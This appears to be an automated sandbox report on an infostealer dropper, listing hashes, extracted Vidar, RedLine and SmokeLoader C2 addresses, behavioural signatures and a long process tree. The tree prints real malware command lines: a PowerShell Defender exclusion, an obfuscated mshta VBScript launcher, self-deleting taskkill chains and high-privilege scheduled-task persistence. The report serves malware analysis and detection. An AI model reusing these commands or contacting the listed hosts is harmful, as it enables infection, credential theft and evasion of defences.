Resubmissions
02-12-2021 07:35
211202-je6zgsfge4 1010-09-2021 20:31
210910-za2rzaaeh3 1010-09-2021 19:40
210910-ydvmdsdffp 1010-09-2021 12:06
210910-n9s4bsdbep 1010-09-2021 05:37
210910-gbjcxahdh2 1009-09-2021 22:16
210909-17av7aghb7 1009-09-2021 22:12
210909-14mqksgha9 1009-09-2021 22:12
210909-14l42sgha8 1009-09-2021 22:11
210909-14e1qsgha7 1009-09-2021 22:11
210909-138lnacacn 10Analysis
-
max time kernel
26s -
max time network
178s -
platform
windows10_x64 -
resource
win10v20210408 -
submitted
10-09-2021 05:37
Errors
Reason
Remote task has failed: Machine shutdown
General
-
Target
setup_x86_x64_install.exe
-
Size
4.3MB
-
MD5
6d18c8e8ab9051f7a70b89ff7bb0ec35
-
SHA1
265311e2afd9f59e824f4b77162cf3dfa278eb7e
-
SHA256
8fe6c86b038ce91a991fe6eb8a9b323bb37b554ff6b4e5c18de3fe52d4aedf6d
-
SHA512
249bf79dc90d4662b942c7eed2a7b7816b749f6d5f7bc190bba05f826fa143d0b44f58054d8649b8626884c5fcbd1cea8abd625dc701d44b7aaac84fc74e47ff
Score
10/10
Malware Config
Extracted
Language
ps1
Deobfuscated
URLs
ps1.dropper
http://shellloader.com/welcome
Extracted
Family
vidar
Version
40.5
Botnet
706
C2
https://gheorghip.tumblr.com/
Attributes
-
profile_id
706
Extracted
Family
redline
Botnet
pab123
C2
45.14.49.169:22411
Extracted
Family
smokeloader
Version
2020
C2
http://varmisende.com/upload/
http://fernandomayol.com/upload/
http://nextlytm.com/upload/
http://people4jan.com/upload/
http://asfaltwerk.com/upload/
rc4.i32
rc4.i32
Signatures
-
Process spawned unexpected child process 3 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 2 IoCs
-
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Socelars
Socelars is an infostealer targeting browser cookies and credit card credentials.
-
Socelars Payload 2 IoCs
-
Vidar
Vidar is an infostealer based on Arkei stealer.
-
Vidar Stealer 2 IoCs
-
ASPack v2.12-2.42 6 IoCs
Detects executables packed with ASPack v2.12-2.42
-
Blocklisted process makes network request 4 IoCs
-
Downloads MZ/PE file
-
Executes dropped EXE 33 IoCs
-
Loads dropped DLL 12 IoCs
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Accesses 2FA software files, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 3 IoCs
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 11 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
-
Drops file in Program Files directory 3 IoCs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 16 IoCs
-
Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
-
Creates scheduled task(s) 1 TTPs 7 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Delays execution with timeout.exe 1 IoCs
-
Kills process with taskkill 6 IoCs
-
Modifies system certificate store 2 TTPs 2 IoCs
-
Runs ping.exe 1 TTPs 3 IoCs
-
Script User-Agent 7 IoCs
Uses user-agent string associated with script host/environment.
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
-
Suspicious behavior: MapViewOfSection 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 64 IoCs
-
Suspicious use of FindShellTrayWindow 1 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zSCFDC84F4\setup_install.exe"C:\Users\Admin\AppData\Local\Temp\7zSCFDC84F4\setup_install.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu219d5fe8cf316.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zSCFDC84F4\Thu219d5fe8cf316.exeThu219d5fe8cf316.exe5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\ProgramData\5127761.exe"C:\ProgramData\5127761.exe"6⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\ProgramData\6059391.exe"C:\ProgramData\6059391.exe"6⤵
- Executes dropped EXE
- Adds Run key to start application
-
C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"7⤵
-
-
-
C:\ProgramData\7554959.exe"C:\ProgramData\7554959.exe"6⤵
- Executes dropped EXE
-
-
C:\ProgramData\1081460.exe"C:\ProgramData\1081460.exe"6⤵
- Executes dropped EXE
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu21624565bb917a.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zSCFDC84F4\Thu21624565bb917a.exeThu21624565bb917a.exe5⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu21a1ef054cac78a.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zSCFDC84F4\Thu21a1ef054cac78a.exeThu21a1ef054cac78a.exe5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe6⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe7⤵
- Kills process with taskkill
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu2164f292a11ce.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zSCFDC84F4\Thu2164f292a11ce.exeThu2164f292a11ce.exe5⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu21b93295136197.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zSCFDC84F4\Thu21b93295136197.exeThu21b93295136197.exe5⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-VT078.tmp\Thu21b93295136197.tmp"C:\Users\Admin\AppData\Local\Temp\is-VT078.tmp\Thu21b93295136197.tmp" /SL5="$14001E,138429,56832,C:\Users\Admin\AppData\Local\Temp\7zSCFDC84F4\Thu21b93295136197.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
-
C:\Users\Admin\AppData\Local\Temp\is-AOJQA.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-AOJQA.tmp\Setup.exe" /Verysilent7⤵
- Executes dropped EXE
- Drops file in Program Files directory
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Setup.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Setup.exe"8⤵
-
C:\Users\Admin\AppData\Local\Temp\BSKR.exe"C:\Users\Admin\AppData\Local\Temp\BSKR.exe"9⤵
-
C:\Users\Admin\AppData\Local\Temp\BSKR.exeC:\Users\Admin\AppData\Local\Temp\BSKR.exe10⤵
-
-
C:\Users\Admin\AppData\Local\Temp\BSKR.exeC:\Users\Admin\AppData\Local\Temp\BSKR.exe10⤵
-
-
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\stats.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\stats.exe" /Verysilent8⤵
-
C:\Users\Admin\AppData\Local\Temp\is-D6MNO.tmp\stats.tmp"C:\Users\Admin\AppData\Local\Temp\is-D6MNO.tmp\stats.tmp" /SL5="$105C6,138429,56832,C:\Program Files (x86)\SmartPDF\SmartPDF\stats.exe" /Verysilent9⤵
-
-
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu214ce31cede21.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zSCFDC84F4\Thu214ce31cede21.exeThu214ce31cede21.exe5⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im Thu214ce31cede21.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\7zSCFDC84F4\Thu214ce31cede21.exe" & del C:\ProgramData\*.dll & exit6⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im Thu214ce31cede21.exe /f7⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\timeout.exetimeout /t 67⤵
- Delays execution with timeout.exe
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu21df5caa1b78de6.exe /mixone4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zSCFDC84F4\Thu21df5caa1b78de6.exeThu21df5caa1b78de6.exe /mixone5⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4124 -s 6566⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4124 -s 6726⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4124 -s 7126⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4124 -s 6686⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4124 -s 9006⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4124 -s 7246⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4124 -s 11086⤵
- Program crash
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu214aaca5625.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zSCFDC84F4\Thu214aaca5625.exeThu214aaca5625.exe5⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-SRPUM.tmp\Thu214aaca5625.tmp"C:\Users\Admin\AppData\Local\Temp\is-SRPUM.tmp\Thu214aaca5625.tmp" /SL5="$20088,506086,422400,C:\Users\Admin\AppData\Local\Temp\7zSCFDC84F4\Thu214aaca5625.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\is-V7KVI.tmp\46807GHF____.exe"C:\Users\Admin\AppData\Local\Temp\is-V7KVI.tmp\46807GHF____.exe" /S /UID=burnerch27⤵
- Executes dropped EXE
-
C:\Program Files\Microsoft Office\TGPUFAILXR\ultramediaburner.exe"C:\Program Files\Microsoft Office\TGPUFAILXR\ultramediaburner.exe" /VERYSILENT8⤵
-
C:\Users\Admin\AppData\Local\Temp\is-SJJT2.tmp\ultramediaburner.tmp"C:\Users\Admin\AppData\Local\Temp\is-SJJT2.tmp\ultramediaburner.tmp" /SL5="$103E2,281924,62464,C:\Program Files\Microsoft Office\TGPUFAILXR\ultramediaburner.exe" /VERYSILENT9⤵
-
C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe"C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu10⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\8a-599bb-98a-3ae9b-6b7a99c01f54e\Jogicohopo.exe"C:\Users\Admin\AppData\Local\Temp\8a-599bb-98a-3ae9b-6b7a99c01f54e\Jogicohopo.exe"8⤵
-
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\dw20.exedw20.exe -x -s 24209⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\38-b4ba7-535-08f86-b206ffdcfda10\Domosyhaeka.exe"C:\Users\Admin\AppData\Local\Temp\38-b4ba7-535-08f86-b206ffdcfda10\Domosyhaeka.exe"8⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\utm4rd3r.e21\GcleanerEU.exe /eufive & exit9⤵
-
C:\Users\Admin\AppData\Local\Temp\utm4rd3r.e21\GcleanerEU.exeC:\Users\Admin\AppData\Local\Temp\utm4rd3r.e21\GcleanerEU.exe /eufive10⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ys3d0ykk.je4\installer.exe /qn CAMPAIGN="654" & exit9⤵
-
C:\Users\Admin\AppData\Local\Temp\ys3d0ykk.je4\installer.exeC:\Users\Admin\AppData\Local\Temp\ys3d0ykk.je4\installer.exe /qn CAMPAIGN="654"10⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\lynra1lt.bhg\anyname.exe & exit9⤵
-
C:\Users\Admin\AppData\Local\Temp\lynra1lt.bhg\anyname.exeC:\Users\Admin\AppData\Local\Temp\lynra1lt.bhg\anyname.exe10⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\05cce0lm.c2e\BsInstFile.exe & exit9⤵
-
C:\Users\Admin\AppData\Local\Temp\05cce0lm.c2e\BsInstFile.exeC:\Users\Admin\AppData\Local\Temp\05cce0lm.c2e\BsInstFile.exe10⤵
-
C:\ProgramData\7463884.exe"C:\ProgramData\7463884.exe"11⤵
-
-
C:\ProgramData\301028.exe"C:\ProgramData\301028.exe"11⤵
-
-
C:\ProgramData\7094798.exe"C:\ProgramData\7094798.exe"11⤵
-
-
C:\ProgramData\242950.exe"C:\ProgramData\242950.exe"11⤵
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\hmhumqjv.0cy\Cleanpro13.exe & exit9⤵
-
C:\Users\Admin\AppData\Local\Temp\hmhumqjv.0cy\Cleanpro13.exeC:\Users\Admin\AppData\Local\Temp\hmhumqjv.0cy\Cleanpro13.exe10⤵
-
C:\Users\Admin\Documents\pw5eIDtxe6vfUoi2rbX5iZjd.exe"C:\Users\Admin\Documents\pw5eIDtxe6vfUoi2rbX5iZjd.exe"11⤵
-
-
C:\Users\Admin\Documents\ZScyK9AYMMH0GEf3GfQXrI3f.exe"C:\Users\Admin\Documents\ZScyK9AYMMH0GEf3GfQXrI3f.exe"11⤵
-
C:\Windows\SysWOW64\dllhost.exedllhost.exe12⤵
-
-
C:\Windows\SysWOW64\cmd.execmd /c cmd < Nobile.docm12⤵
-
C:\Windows\SysWOW64\cmd.execmd13⤵
-
C:\Windows\SysWOW64\findstr.exefindstr /V /R "^mFzuIhvmvbdHpfegBQvdRBWtkZruqmiMQZvPfzkmbfdsclZwZBnIIvmXJgVJldnWdERlThYiFXSCkFJqZwimwmrxmnuwnBfiQxqRzPi$" Vederlo.docm14⤵
-
-
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Rimasta.exe.comRimasta.exe.com J14⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Rimasta.exe.comC:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Rimasta.exe.com J15⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Rimasta.exe.comC:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Rimasta.exe.com J16⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\RegAsm.exeC:\Users\Admin\AppData\Local\Temp\IXP001.TMP\RegAsm.exe17⤵
-
-
-
-
-
C:\Windows\SysWOW64\PING.EXEping localhost14⤵
- Runs ping.exe
-
-
-
-
-
C:\Users\Admin\Documents\qik3ljs0cOmvwU0iw1Mjpbcr.exe"C:\Users\Admin\Documents\qik3ljs0cOmvwU0iw1Mjpbcr.exe"11⤵
-
-
C:\Users\Admin\Documents\QSu3gM_juAZjWvzZiykEO4q_.exe"C:\Users\Admin\Documents\QSu3gM_juAZjWvzZiykEO4q_.exe"11⤵
-
-
C:\Users\Admin\Documents\Wcg14KwlQg8opaZrZGMXlkON.exe"C:\Users\Admin\Documents\Wcg14KwlQg8opaZrZGMXlkON.exe"11⤵
-
-
C:\Users\Admin\Documents\lGunkNbTwh1JuoBJWIHlPhGx.exe"C:\Users\Admin\Documents\lGunkNbTwh1JuoBJWIHlPhGx.exe"11⤵
-
C:\Users\Admin\Documents\lGunkNbTwh1JuoBJWIHlPhGx.exe"C:\Users\Admin\Documents\lGunkNbTwh1JuoBJWIHlPhGx.exe"12⤵
-
-
-
C:\Users\Admin\Documents\7H40rd6gnbYsQwsw6MLJRKC5.exe"C:\Users\Admin\Documents\7H40rd6gnbYsQwsw6MLJRKC5.exe"11⤵
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe"12⤵
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe"13⤵
-
-
-
-
C:\Users\Admin\Documents\zNBbeirUVzmb8wkcr7amTn4P.exe"C:\Users\Admin\Documents\zNBbeirUVzmb8wkcr7amTn4P.exe"11⤵
-
-
C:\Users\Admin\Documents\9NZHaLLGEkMNTj3ASl_aw6DE.exe"C:\Users\Admin\Documents\9NZHaLLGEkMNTj3ASl_aw6DE.exe"11⤵
-
-
C:\Users\Admin\Documents\hmtheNElXpNeA0aKqPqUUMfG.exe"C:\Users\Admin\Documents\hmtheNElXpNeA0aKqPqUUMfG.exe"11⤵
-
C:\Users\Admin\Documents\hmtheNElXpNeA0aKqPqUUMfG.exeC:\Users\Admin\Documents\hmtheNElXpNeA0aKqPqUUMfG.exe12⤵
-
-
C:\Users\Admin\Documents\hmtheNElXpNeA0aKqPqUUMfG.exeC:\Users\Admin\Documents\hmtheNElXpNeA0aKqPqUUMfG.exe12⤵
-
-
-
C:\Users\Admin\Documents\623J3ccyken6n8i_4b6oZV73.exe"C:\Users\Admin\Documents\623J3ccyken6n8i_4b6oZV73.exe"11⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbScRIpt: CloSE ( CReATEobJECT ( "WscrIpt.SheLL"). Run ( "cmD.exe /Q /c TYPE ""C:\Users\Admin\Documents\623J3ccyken6n8i_4b6oZV73.exe"" > X4d4XArNWDu.eXE && StArt X4D4XarNWDu.Exe -PXPoqL0iOUHHP7hXFattB5ZvsV & if """" == """" for %A IN ( ""C:\Users\Admin\Documents\623J3ccyken6n8i_4b6oZV73.exe"" ) do taskkill /f -im ""%~nxA"" " , 0 , trUE ) )12⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /Q /c TYPE "C:\Users\Admin\Documents\623J3ccyken6n8i_4b6oZV73.exe"> X4d4XArNWDu.eXE && StArt X4D4XarNWDu.Exe -PXPoqL0iOUHHP7hXFattB5ZvsV & if "" == "" for %A IN ( "C:\Users\Admin\Documents\623J3ccyken6n8i_4b6oZV73.exe" ) do taskkill /f -im "%~nxA"13⤵
-
C:\Users\Admin\AppData\Local\Temp\X4d4XArNWDu.eXEX4D4XarNWDu.Exe -PXPoqL0iOUHHP7hXFattB5ZvsV14⤵
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f -im "623J3ccyken6n8i_4b6oZV73.exe"14⤵
- Kills process with taskkill
-
-
-
-
-
C:\Users\Admin\Documents\4XyelhvyQ4HlHIp5BHujm5FI.exe"C:\Users\Admin\Documents\4XyelhvyQ4HlHIp5BHujm5FI.exe"11⤵
-
-
C:\Users\Admin\Documents\aOgNR7_rU4JyS0Rl6GzcmSIy.exe"C:\Users\Admin\Documents\aOgNR7_rU4JyS0Rl6GzcmSIy.exe"11⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im aOgNR7_rU4JyS0Rl6GzcmSIy.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\aOgNR7_rU4JyS0Rl6GzcmSIy.exe" & del C:\ProgramData\*.dll & exit12⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im aOgNR7_rU4JyS0Rl6GzcmSIy.exe /f13⤵
- Kills process with taskkill
-
-
-
-
C:\Users\Admin\Documents\d2cTgLiNtykSPgFkkkhlgdFs.exe"C:\Users\Admin\Documents\d2cTgLiNtykSPgFkkkhlgdFs.exe"11⤵
-
C:\Users\Admin\Documents\qT3dWYBP7ZsuOrwW4ZcUbjl6.exe"C:\Users\Admin\Documents\qT3dWYBP7ZsuOrwW4ZcUbjl6.exe"12⤵
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST12⤵
- Creates scheduled task(s)
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST12⤵
- Creates scheduled task(s)
-
-
-
C:\Users\Admin\Documents\bhKb1WGA6ZbgMRXH8zxwe_aD.exe"C:\Users\Admin\Documents\bhKb1WGA6ZbgMRXH8zxwe_aD.exe"11⤵
-
C:\Users\Admin\Documents\bhKb1WGA6ZbgMRXH8zxwe_aD.exe"C:\Users\Admin\Documents\bhKb1WGA6ZbgMRXH8zxwe_aD.exe"12⤵
-
-
-
C:\Users\Admin\Documents\Zi2EJeOe7Vsrbv3luxqYY3kx.exe"C:\Users\Admin\Documents\Zi2EJeOe7Vsrbv3luxqYY3kx.exe"11⤵
-
C:\Users\Admin\AppData\Local\Temp\{FEEE2ACE-570A-43BC-BA4C-FACF91A3623F}\Zi2EJeOe7Vsrbv3luxqYY3kx.exeC:\Users\Admin\AppData\Local\Temp\{FEEE2ACE-570A-43BC-BA4C-FACF91A3623F}\Zi2EJeOe7Vsrbv3luxqYY3kx.exe /q"C:\Users\Admin\Documents\Zi2EJeOe7Vsrbv3luxqYY3kx.exe" /tempdisk1folder"C:\Users\Admin\AppData\Local\Temp\{FEEE2ACE-570A-43BC-BA4C-FACF91A3623F}" /IS_temp12⤵
-
C:\Windows\SysWOW64\MSIEXEC.EXE"C:\Windows\system32\MSIEXEC.EXE" /i "C:\Users\Admin\AppData\Local\Downloaded Installations\{4175BAA6-49B9-43E5-8B49-E892979E209E}\menageudrivers.msi" SETUPEXEDIR="C:\Users\Admin\Documents" SETUPEXENAME="Zi2EJeOe7Vsrbv3luxqYY3kx.exe"13⤵
-
-
-
-
C:\Users\Admin\Documents\7CFdtpmMBJfv3RuM165rsEnD.exe"C:\Users\Admin\Documents\7CFdtpmMBJfv3RuM165rsEnD.exe"11⤵
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\qjp4g1el.3uu\gcleaner.exe /mixfive & exit9⤵
-
C:\Users\Admin\AppData\Local\Temp\qjp4g1el.3uu\gcleaner.exeC:\Users\Admin\AppData\Local\Temp\qjp4g1el.3uu\gcleaner.exe /mixfive10⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\121dljtw.eas\bumperWW1.exe & exit9⤵
-
C:\Users\Admin\AppData\Local\Temp\121dljtw.eas\bumperWW1.exeC:\Users\Admin\AppData\Local\Temp\121dljtw.eas\bumperWW1.exe10⤵
-
C:\Users\Admin\Documents\AnvYELd7gsksmUuLEnaT7cZo.exe"C:\Users\Admin\Documents\AnvYELd7gsksmUuLEnaT7cZo.exe"11⤵
-
-
C:\Users\Admin\Documents\2PWVkxD6sOXwBHjhP3ZsQ2FR.exe"C:\Users\Admin\Documents\2PWVkxD6sOXwBHjhP3ZsQ2FR.exe"11⤵
-
-
C:\Users\Admin\Documents\c_tHL2pamPdDR3rzFbMRiRdf.exe"C:\Users\Admin\Documents\c_tHL2pamPdDR3rzFbMRiRdf.exe"11⤵
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /C taskkill /F /PID 8392 && choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\Documents\c_tHL2pamPdDR3rzFbMRiRdf.exe"12⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /PID 839213⤵
- Kills process with taskkill
-
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /C taskkill /F /PID 8392 && choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\Documents\c_tHL2pamPdDR3rzFbMRiRdf.exe"12⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /PID 839213⤵
- Kills process with taskkill
-
-
-
-
C:\Users\Admin\Documents\xzckoqGNGb2_OcpZMUT4tcjJ.exe"C:\Users\Admin\Documents\xzckoqGNGb2_OcpZMUT4tcjJ.exe"11⤵
-
C:\Users\Admin\Documents\xzckoqGNGb2_OcpZMUT4tcjJ.exe"C:\Users\Admin\Documents\xzckoqGNGb2_OcpZMUT4tcjJ.exe"12⤵
-
-
C:\Users\Admin\Documents\xzckoqGNGb2_OcpZMUT4tcjJ.exe"C:\Users\Admin\Documents\xzckoqGNGb2_OcpZMUT4tcjJ.exe"12⤵
-
-
-
C:\Users\Admin\Documents\FFHBkF6IsBtiNNc546nS9I3F.exe"C:\Users\Admin\Documents\FFHBkF6IsBtiNNc546nS9I3F.exe"11⤵
-
-
C:\Users\Admin\Documents\s3wqq2VXPqt1oxGhR07jB_PR.exe"C:\Users\Admin\Documents\s3wqq2VXPqt1oxGhR07jB_PR.exe"11⤵
-
-
C:\Users\Admin\Documents\ZIfVRmribb8EeZ1thmnl0KYg.exe"C:\Users\Admin\Documents\ZIfVRmribb8EeZ1thmnl0KYg.exe"11⤵
-
-
C:\Users\Admin\Documents\MDFj_NWMQk1Af7M05O0YjIEe.exe"C:\Users\Admin\Documents\MDFj_NWMQk1Af7M05O0YjIEe.exe"11⤵
-
-
C:\Users\Admin\Documents\ZtrpHoDSKXhvGPFdGDOuwRfI.exe"C:\Users\Admin\Documents\ZtrpHoDSKXhvGPFdGDOuwRfI.exe"11⤵
-
C:\Users\Admin\AppData\Local\Temp\{14093D53-5248-4839-8647-585F3F97C8D5}\ZtrpHoDSKXhvGPFdGDOuwRfI.exeC:\Users\Admin\AppData\Local\Temp\{14093D53-5248-4839-8647-585F3F97C8D5}\ZtrpHoDSKXhvGPFdGDOuwRfI.exe /q"C:\Users\Admin\Documents\ZtrpHoDSKXhvGPFdGDOuwRfI.exe" /tempdisk1folder"C:\Users\Admin\AppData\Local\Temp\{14093D53-5248-4839-8647-585F3F97C8D5}" /IS_temp12⤵
-
-
-
C:\Users\Admin\Documents\Ygq7oEKFfqmCs5BVFNzzx_iK.exe"C:\Users\Admin\Documents\Ygq7oEKFfqmCs5BVFNzzx_iK.exe"11⤵
-
-
C:\Users\Admin\Documents\jbZnKupozSqOJ2T2XFV1Ah0w.exe"C:\Users\Admin\Documents\jbZnKupozSqOJ2T2XFV1Ah0w.exe"11⤵
-
C:\Windows\SysWOW64\dllhost.exedllhost.exe12⤵
-
-
C:\Windows\SysWOW64\cmd.execmd /c cmd < Nobile.docm12⤵
- Blocklisted process makes network request
- Modifies system certificate store
-
C:\Windows\SysWOW64\cmd.execmd13⤵
-
C:\Windows\SysWOW64\findstr.exefindstr /V /R "^mFzuIhvmvbdHpfegBQvdRBWtkZruqmiMQZvPfzkmbfdsclZwZBnIIvmXJgVJldnWdERlThYiFXSCkFJqZwimwmrxmnuwnBfiQxqRzPi$" Vederlo.docm14⤵
-
-
C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\Rimasta.exe.comRimasta.exe.com J14⤵
-
-
C:\Windows\SysWOW64\PING.EXEping localhost14⤵
- Runs ping.exe
-
-
-
-
-
C:\Users\Admin\Documents\7DUpHOYHlODvt6k2s_64ERCH.exe"C:\Users\Admin\Documents\7DUpHOYHlODvt6k2s_64ERCH.exe"11⤵
-
-
C:\Users\Admin\Documents\9YmZWV3_YXfjuKHrTA9vA8B3.exe"C:\Users\Admin\Documents\9YmZWV3_YXfjuKHrTA9vA8B3.exe"11⤵
-
